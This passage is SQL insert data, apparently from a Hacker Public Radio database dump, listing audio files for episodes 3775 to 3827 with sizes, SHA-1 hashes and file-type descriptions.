(3775,'hpr3775.mp3','mp3',7449559,'f7cc12a85741100d3eb466e2973da9d726008115','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3775,'hpr3775.ogg','ogg',10631998,'b8e7dea4b7770e8e355b1acc9bda3bce0cb5f5ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3775,'hpr3775.spx','spx',3516736,'aaf16701560bd52fb441f59038a42fe67da8b735','application/ogg; charset=binary','Ogg data, Speex audio'),
(3776,'hpr3776.mp3','mp3',5228038,'f88559bffabd292d62627d38c1369a8afbf6f8ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3776,'hpr3776.ogg','ogg',7170013,'ccaddc7af63e0b77b0a1eeac6e08fd006ac17467','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3776,'hpr3776.spx','spx',2467876,'67207d07ee17ac298c394fe00067b73fdc241416','application/ogg; charset=binary','Ogg data, Speex audio'),
(3777,'hpr3777.mp3','mp3',4894989,'4db8f0def1ba932235775ade06aed5b4fdb107f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3777,'hpr3777.ogg','ogg',7024389,'36b64375a0d960f484e69d1ab1f12e61d78f3474','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3777,'hpr3777.spx','spx',2310663,'c9658c688e17186ae03055b8c0ea738b66896df4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3778,'hpr3778.mp3','mp3',10433651,'7554dcc5ba9c258c1e68b5b386bab0ca07ad91c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3778,'hpr3778.ogg','ogg',14876598,'507afd62c9e658fd39b684e027ed9c15f668d4b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3778,'hpr3778.spx','spx',4925660,'7a38d9a276f797ba148bdf7e68239b5c35f1b619','application/ogg; charset=binary','Ogg data, Speex audio'),
(3779,'hpr3779.mp3','mp3',2231923,'d6c41730681d3d07121d0a19cbd47a37d20fe14c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3779,'hpr3779.ogg','ogg',3099097,'0fda7525a7bade15d102ab1ebf57b71ae93a6fe1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3779,'hpr3779.spx','spx',1053271,'d53cade492cd74300b44c2bdf6075d11c4bcfa50','application/ogg; charset=binary','Ogg data, Speex audio'),
(3780,'hpr3780.mp3','mp3',7238506,'f669cdfd5dca1a31b1fec2b5c59b791301da3e39','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3780,'hpr3780.ogg','ogg',10373294,'0f5969225dd6e9426950a1cdfb97667e9b6e2239','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3780,'hpr3780.spx','spx',3417239,'a4db34832442ab460f79ccd53ceebbdcfaec95ee','application/ogg; charset=binary','Ogg data, Speex audio'),
(3781,'hpr3781.mp3','mp3',6975848,'512945e731a5172dfc67f583f747460d3ddc4ea1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3781,'hpr3781.ogg','ogg',9747110,'b29c18fd4be47122677fdd27bf7425779f3428bc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3781,'hpr3781.spx','spx',3293021,'3b67c4c2b774f9317de880ab775c7dadf67ae130','application/ogg; charset=binary','Ogg data, Speex audio'),
(3782,'hpr3782.mp3','mp3',3052536,'157ee4e65b6857bd0d0a4900b2eb9bcd35972232','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3782,'hpr3782.ogg','ogg',4351926,'6d9ead67497818967049f353f34ac9c5517a479e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3782,'hpr3782.spx','spx',1440807,'b19dc35cfd0a0642bef74df11d476a8029646757','application/ogg; charset=binary','Ogg data, Speex audio'),
(3783,'hpr3783.mp3','mp3',11079880,'055d502445e44a858480646286a52e0b288fec4e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3783,'hpr3783.ogg','ogg',15247909,'4dbbcfab2111c9e15cac6924498f8382202c18d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3783,'hpr3783.spx','spx',5230654,'9d389d0aa0ec514b1b897296eb2ead2d647e0347','application/ogg; charset=binary','Ogg data, Speex audio'),
(3784,'hpr3784.mp3','mp3',9538328,'287158bf7045636a72f4b2f5baa36a89370f094c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3784,'hpr3784.ogg','ogg',12997681,'d3faed95cb92f07e3db745db6777cd0beb4c5eb1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3784,'hpr3784.spx','spx',4502861,'0c4f8420e3f93a7f115515399c736dedea266de2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3785,'hpr3785.mp3','mp3',27219179,'8753e16485c00fb20354397dfe3150eb57fa509f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3785,'hpr3785.ogg','ogg',37345230,'e906dff8e139b8f7566bf208430be856388f080c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3785,'hpr3785.spx','spx',12850436,'e2f29b7b38a80c1d7ca8044886c8fb89a327e68f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3786,'hpr3786.mp3','mp3',23710034,'bef81a22bb18613ef6d791f7aabb2e77eca12513','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3786,'hpr3786.ogg','ogg',33066527,'20ac091265aff0fe75a417a2813498c20a1e7835','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3786,'hpr3786.spx','spx',11193722,'e8e5e091e7e0f9a8b256958f14523efbd9cbaa30','application/ogg; charset=binary','Ogg data, Speex audio'),
(3787,'hpr3787.mp3','mp3',5322930,'338f8d92798372a5c2a56a05358d60657cfceee9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3787,'hpr3787.ogg','ogg',7097525,'6d66c121fced5b3410acd12c4916ed7657992ed6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3787,'hpr3787.spx','spx',2512644,'a9d3e1da926a8e6cf046345b84481285d1789e95','application/ogg; charset=binary','Ogg data, Speex audio'),
(3788,'hpr3788.mp3','mp3',3828212,'05bb73b255ed0b0dfdcc152c7b471c22f85eeb31','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3788,'hpr3788.ogg','ogg',5402608,'4317630099ffa5b3a472080b61d1b0b15672c711','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3788,'hpr3788.spx','spx',1806947,'03eef68cfc543d05fc30181a12562ee018d33882','application/ogg; charset=binary','Ogg data, Speex audio'),
(3789,'hpr3789.mp3','mp3',26397877,'667473b410868f083b3d3df05e7a8d16a2975167','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3789,'hpr3789.ogg','ogg',37543042,'2fef62986bbef70d26a4ee77deed19592e5fa30f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3789,'hpr3789.spx','spx',12462754,'65f7798c5b8093a708957c66db35ae6c06058f83','application/ogg; charset=binary','Ogg data, Speex audio'),
(3790,'hpr3790.mp3','mp3',6875800,'b5d7f12183f60fbf1e74585c89e33bf27990b0fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3790,'hpr3790.ogg','ogg',9904112,'194ae3c34f1e9eff4c64a53fc902a6e7268521f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3790,'hpr3790.spx','spx',3245906,'266fb750061f3ca464b20441473950d369141fa4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3791,'hpr3791.mp3','mp3',11993028,'2c7d94d6e688d740e68eb8253dfe1ecce8374653','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3791,'hpr3791.ogg','ogg',17222877,'0a4ad7e8e07980f156842caaf0df2f4bf7c3ed26','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3791,'hpr3791.spx','spx',5661828,'7036b3c96e85aac60706dac56ba882c39e76ddbc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3792,'hpr3792.mp3','mp3',11890670,'7fd19a7145a30d00dd330d42a9e649f659412731','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3792,'hpr3792.ogg','ogg',16856019,'2a821f683ab555a7f313b4b216836dfdffa0bb88','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3792,'hpr3792.spx','spx',5613557,'753439b41f57d0b8582e33861ebea35f193550b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3793,'hpr3793.mp3','mp3',9662880,'68232b0a2144828ef3809a805554a74e06f009f4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3793,'hpr3793.ogg','ogg',13898353,'8550124278eeac6d90d4a6f8152b6095e0178b74','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3793,'hpr3793.spx','spx',4561635,'0029172f244da23dcfc1ffff9ef79d9d2ea7722e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3794,'hpr3794.mp3','mp3',4577210,'087d34d61de4cc247f82f2ec7f684a4f4ca432ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3794,'hpr3794.ogg','ogg',6301326,'012802b64ec656fd1d44d628a860f9164b07a1cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3794,'hpr3794.spx','spx',2160614,'612e3a5ab9eba7930257d12feb415e3ee377c875','application/ogg; charset=binary','Ogg data, Speex audio'),
(3795,'hpr3795.mp3','mp3',40825105,'ebfe1fc673ebe727ca64baccfd36fb7a65f92a16','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3795,'hpr3795.ogg','ogg',52816644,'8ca6a87baf46cf38bd50a0ff60497888ad3f3ad9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3795,'hpr3795.spx','spx',19274224,'21442ba92607cce702864f3859f6514e142e69b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3796,'hpr3796.mp3','mp3',4712747,'1b533a299ec5d6ab485c3b9d5cd55dc37d3a4441','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3796,'hpr3796.ogg','ogg',6527006,'e2de4f9a0aebcfc8f68f8e125e4444d94125e7b8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3796,'hpr3796.spx','spx',2224583,'cb94b94ef78896a2ae7454b55c251c4b914ce983','application/ogg; charset=binary','Ogg data, Speex audio'),
(3797,'hpr3797.mp3','mp3',15813433,'1500d2a5934120bcb86872041b012ad976f62d06','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3797,'hpr3797.ogg','ogg',20897991,'44de42e62c15da351cb17371932d54dff9c86996','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3797,'hpr3797.spx','spx',7465573,'157d4119ac910778eba3e9e5a853e4a8377c19e3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3798,'hpr3798.mp3','mp3',6657948,'e6a35ee27baa8ea9d32a1a4f40b84c0dc39e9023','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3798,'hpr3798.ogg','ogg',8351487,'4c579a8c472f119e354ce1835c7c1203a90583fb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3798,'hpr3798.spx','spx',3142968,'acb00db286da7be962561cf1f0e35c2a54b40f58','application/ogg; charset=binary','Ogg data, Speex audio'),
(3799,'hpr3799.mp3','mp3',16017739,'324b1494ab25bddd6ebb45368f20fe2f5c3edf7e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3799,'hpr3799.ogg','ogg',23401035,'96ee5cffc21d36279663f49bf92e646f89ec94b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3799,'hpr3799.spx','spx',7561966,'373c1727b6574b9d4e74976dac954f73c2f413e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3800,'hpr3800.mp3','mp3',8071027,'28a8e1362a5707b8de795850b8de8a22d40745ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3800,'hpr3800.ogg','ogg',11669788,'60b6ce86e72a98ebc78b841896e6a6a1727e14a2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3800,'hpr3800.spx','spx',3810181,'89e3dc62afb50a02612c6d17ee0b1a29a37665c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3801,'hpr3801.mp3','mp3',7225048,'b86d55acc31168ba1b303e94d4d9fbe1ae4428c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3801,'hpr3801.ogg','ogg',10324660,'14a98bdb2fee4df40c3990d555f65aab3c8c064b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3801,'hpr3801.spx','spx',3410692,'15f1f90ca6ee7095790fae8aecc8c4fd384cc935','application/ogg; charset=binary','Ogg data, Speex audio'),
(3802,'hpr3802.mp3','mp3',47123444,'188afebc43a236a433da8a945a10f69c99bfac8f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3802,'hpr3802.ogg','ogg',60388998,'73d1055ab9c4997fdd7a0f26a95ecefec1ab2730','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3802,'hpr3802.spx','spx',22247771,'87c73d9e83d4d740fcae1504cfc350600ab2a025','application/ogg; charset=binary','Ogg data, Speex audio'),
(3803,'hpr3803.mp3','mp3',3907508,'d38fb522aba1b98cb509b3633b253891da509ab4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3803,'hpr3803.ogg','ogg',5651050,'7eb3e4a2dde5a3362dfe8aa9e045ba3da262e5a9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3803,'hpr3803.spx','spx',1844417,'67060851cbbe40264eb8bd0324280bd5d1097e39','application/ogg; charset=binary','Ogg data, Speex audio'),
(3804,'hpr3804.mp3','mp3',42438275,'fd95d499f47133739d266729689165d442e7953c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3804,'hpr3804.ogg','ogg',54720673,'0e8f990d2b97234567bb95bccde2c611393e24a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3804,'hpr3804.spx','spx',20035739,'ba3f234aab783f42ab327fce8c5a78f2bc1105f8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3805,'hpr3805.mp3','mp3',6539251,'de24940b7bd5863ccc486bcec74d186a55739e23','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3805,'hpr3805.ogg','ogg',9215289,'312cc951797614a41fa9e19507f9fc2ffe656701','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3805,'hpr3805.spx','spx',3086974,'25ab989f51617d6528718d0ab6500eddca07de8d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3806,'hpr3806.mp3','mp3',37393108,'ef534c3ed4551a882b44d16546a92e72586d4c74','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3806,'hpr3806.ogg','ogg',51227883,'8398adaafa1a72a0bd842641863fb4744032fd15','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3806,'hpr3806.spx','spx',17653819,'6290e86a883a73e1bf62701c964c9509b36602f0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3807,'hpr3807.mp3','mp3',16966768,'dc3efe7a67fc04d5502d3e5027379a7892ca0ffd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3807,'hpr3807.ogg','ogg',23438323,'fa5d1abfbcb81c9b95619ff145a615c113aadafb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3807,'hpr3807.spx','spx',8010052,'99a8cf5ae53fdee5f92263c6701aafb8ee7851b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3808,'hpr3808.mp3','mp3',29853295,'1b773a5bcf1195cd2a7503e4de87628e0adcc037','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3808,'hpr3808.ogg','ogg',38725177,'c448a13460592567be25501612db5eee9cec0e6c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3808,'hpr3808.spx','spx',14094114,'508cafc850ddd01cb7f242720bafd7b87d02b766','application/ogg; charset=binary','Ogg data, Speex audio'),
(3809,'hpr3809.mp3','mp3',10203002,'28d377208dff708480379a4eac5738a307910783','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3809,'hpr3809.ogg','ogg',12555833,'4c29a31029dd4a040a0c9abdde45a3770610f638','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3809,'hpr3809.spx','spx',4816697,'2838e11c78555dca25e586cd98278ece75e09435','application/ogg; charset=binary','Ogg data, Speex audio'),
(3810,'hpr3810.mp3','mp3',8356880,'81f693e24774b874cde3a3bbadd1f1e4c6150d9e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3810,'hpr3810.ogg','ogg',12066606,'094123450afa48086a9051e0ae3571ef2dfdf7ba','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3810,'hpr3810.spx','spx',3945068,'075781541d93fc4a63f4cfbf84e05a25290fd78d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3811,'hpr3811.mp3','mp3',6075582,'2291531786333ddb98818f3cccf802e404d9296a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3811,'hpr3811.ogg','ogg',8593232,'6c72f9ce96f019bad33d11a625c81ef48b6b9a35','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3811,'hpr3811.spx','spx',2868069,'8023c34742a5102e0f7169b7d5ed09a9e4dde518','application/ogg; charset=binary','Ogg data, Speex audio'),
(3812,'hpr3812.mp3','mp3',12868683,'41b38de5799f64d8c8e88d544ae6846a0110e17e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3812,'hpr3812.ogg','ogg',17712347,'d126ce67b90da58cd7a40f8b52aba85c3b238fe8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3812,'hpr3812.spx','spx',6075216,'95caa5188b354b13e83fe129c33082406a18b10c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3813,'hpr3813.mp3','mp3',15795188,'02c488657e48abf4284d4344328199831a952dc2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3813,'hpr3813.ogg','ogg',21803252,'f375d632d51850841d4118ab659f1e30aec83412','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3813,'hpr3813.spx','spx',7456964,'e1091b8bc3204ae97cb6aaf2c4ea3b4f86d1ef65','application/ogg; charset=binary','Ogg data, Speex audio'),
(3814,'hpr3814.mp3','mp3',58773827,'c63b50e5e127a019a68a62f590368bb6739d287d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3814,'hpr3814.ogg','ogg',76352532,'e19246fdd746a25f4938f6d2f7a250d939d6abb9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3814,'hpr3814.spx','spx',27748223,'33be0322dd8f1f931cd156f47a582fa17814d56e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3815,'hpr3815.mp3','mp3',19407888,'257ad0e0798156c11ed682b86a29ef259755ce2d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3815,'hpr3815.ogg','ogg',27404079,'3778a03dcd0639be3252dd206174fea20050bb6b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3815,'hpr3815.spx','spx',9162594,'030a76e1e32f72d50b25c0d4e489dcdd6d7ce5e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3816,'hpr3816.mp3','mp3',4479495,'ebe579d300ed32061c0c4c867a9c47a6fb1d0fe5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3816,'hpr3816.ogg','ogg',5692291,'15256276b66935e6a14bfa7f3ad39beb63cb770f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3816,'hpr3816.spx','spx',2114478,'7fa62a57cb03b6240d454f7e9b16a0037f8dd37b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3817,'hpr3817.mp3','mp3',6248148,'6dc7a154b10d6863cc26f3f56dac30373128e608','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3817,'hpr3817.ogg','ogg',8855267,'9de771859c715e66f27a9ede29d60e818c19b945','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3817,'hpr3817.spx','spx',2949444,'45aeff08515cac3753796af2cbe16e7495fd256f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3818,'hpr3818.mp3','mp3',5215742,'60083ed8a12e82679b53167cb486232efcc656e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3818,'hpr3818.ogg','ogg',7370093,'7c7d2ef5d740b3d54ce1b51c855d3070122ce78c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3818,'hpr3818.spx','spx',2462039,'ca68f409f6cb63921e55e0488659c3424f8ffa22','application/ogg; charset=binary','Ogg data, Speex audio'),
(3819,'hpr3819.mp3','mp3',5449504,'af904cd49b36213416fb11b6578feb0c61398a59','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3819,'hpr3819.ogg','ogg',7608119,'7e9671f06b61573208255bf37061ea04ff6e3d85','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3819,'hpr3819.spx','spx',2572420,'6232522a7651cdbd6db854ed8146d0829ee0df5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3820,'hpr3820.mp3','mp3',8580193,'b22682d8173992a4f373c3f5a149660c4bb150c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3820,'hpr3820.ogg','ogg',12453976,'efe659e1d2f8719033f59b50cc5bfa9c017ad871','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3820,'hpr3820.spx','spx',4050541,'96c8227038f8176a03ed5318094edb79974415c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3821,'hpr3821.mp3','mp3',7029012,'c17f6a34263d499fdbb6b2e7d8735f320f07de63','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3821,'hpr3821.ogg','ogg',9910929,'d7d40701bc152a696388e415ffaac122c7645576','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3821,'hpr3821.spx','spx',3318090,'1e7094bb80c15a2ac44ed0f38255880d94285877','application/ogg; charset=binary','Ogg data, Speex audio'),
(3822,'hpr3822.mp3','mp3',4846396,'9e76da39bf2f5ecffe06cd2cf519c31732e1f261','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3822,'hpr3822.ogg','ogg',6754133,'100d20c5bc29e9409fdbafc447db3ab8920d132d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3822,'hpr3822.spx','spx',2287684,'dfc21677794268251f271583f2fb6704bdb3189b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3823,'hpr3823.mp3','mp3',13127925,'7dac63486fa4d5c974790fced66387a6837272b3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3823,'hpr3823.ogg','ogg',18941052,'6172172c23b175f6fa5b84c111d29adde544e98d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3823,'hpr3823.spx','spx',6197622,'9681fbef6aaebe3df9ca83253798f2fd67842268','application/ogg; charset=binary','Ogg data, Speex audio'),
(3824,'hpr3824.mp3','mp3',58318211,'ed4e9ebb5c8c675cc8ee59f7483aeb2a82aaf34b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3824,'hpr3824.ogg','ogg',76057346,'662112ca3226fcf34cbfbf7ff7a7e5446b1a81a8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3824,'hpr3824.spx','spx',27533084,'056b20325e6ff45cc0cb496395a05b191c9ce065','application/ogg; charset=binary','Ogg data, Speex audio'),
(3825,'hpr3825.mp3','mp3',19133685,'97d7ed9155bfd2f19aad8676754ac4ab4d41c6b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3825,'hpr3825.ogg','ogg',27402199,'7323146988a2fea0158ca0f22181681814d742f0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3825,'hpr3825.spx','spx',9033099,'5c64c79c51e172b7560c3b938f253aa1e534dd0c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3826,'hpr3826.mp3','mp3',41213710,'a5b0982117702976e882fb8b8ea07dbae78a79af','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3826,'hpr3826.ogg','ogg',55649198,'51d5111e6e224f8e14c7c241a2319ca0c02e80e5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3826,'hpr3826.spx','spx',19457644,'006945f8663a9b890824b915429087e44fa771b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3827,'hpr3827.mp3','mp3',4697163,'a362cbca1dfa269664dd74c2a0d655d88a0a6bb1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
